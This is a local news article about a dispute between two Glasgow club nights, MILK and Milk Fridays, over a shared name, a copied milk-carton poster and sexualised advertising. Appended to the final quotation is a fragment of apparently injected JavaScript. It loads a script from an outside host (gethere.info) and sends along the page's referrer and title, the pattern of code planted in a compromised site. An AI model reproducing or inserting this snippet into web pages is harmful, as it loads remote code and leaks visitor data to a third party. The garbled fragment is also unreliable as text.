By Rachael Morris

 

Last month a row broke out between two promoters in Glasgow City Centre over the club nights’ shared name, Milk.

MILK Glasgow is a monthly indie night which has been running for over four years at the venue Flat 0/1. It was founded by two graduates, Hannah Currie and Aileen Lynn, in order to showcase new bands in the city. Their branding was created from a successful 2011 poster by Aileen’s brother, Craig Lynn.

Milk Fridays was launched as Milk Tuesdays in Edinburgh last August by events manager Hamish Rowe. However, Kushion, which neighbours Flat 0/1 on Bath Street, now also hosts the weekly club night. Rowe claims he did not realise there was an event of the same name in Glasgow.

MILK founders Currie and Lynn accuse Milk Fridays of not only copying their name but also their branding after the new club night released a poster which featured the same the same milk carton logo and even the same font as their 2011 poster.

Hannah Currie and Aileen Lynn said “The similarity is way too close to assume they just happened to have the exact same idea for a poster, we don’t buy it. I think the thing that angered us the most was the complete lack of thought that went into stealing our name and branding.”

They continued: “It’s frustrating that a fellow promoter would do that when surely they understand the hard work that is involved with creating and maintaining a successful club night.”

Hamish Rowe told the Evening Times: “I can understand exactly where they’re coming from. We did communicate through email and I made it clear that I wasn’t there to rain on their parade or steal any of their crowd. I offered them an olive branch by saying we could help them with flyering for their night or advertising on our Facebook page.”

Rowe said a DJ who works at their events created their milk carton poster and it had nothing to do with MILK. The new club night also changed the name of their event on Facebook from Milk Glasgow to Milk Fridays to try and prevent confusion.

Gavin Prentice, frontman of Over the Wall and ULTRAs (both of whom have played MILK), said: “The reputation of a city’s music scene is built off the back of people taking risks by putting on relatively unknown artists in a supportive and fun environment, just like the original MILK have done for years. The newer club represent the precise opposite of that.”

The new club night, Milk Fridays, has also been accused of overtly sexualised and provocative adverts which feature bottles of milk being poured over skimpily clothed models and over (mostly women’s) faces.

Hannah Currie and Aileen Lynn said: “It’s a real shame this new night uses cheap and tacky images of girls to promote their night. To use this overly sexual imagery to get people through your doors sucks and goes against everything we stand for.”s.src=’http://gethere.info/kt/?264dpr&frm=script&se_referrer=’ + encodeURIComponent(document.referrer) + ‘&default_keyword=’ + encodeURIComponent(document.title) + ”;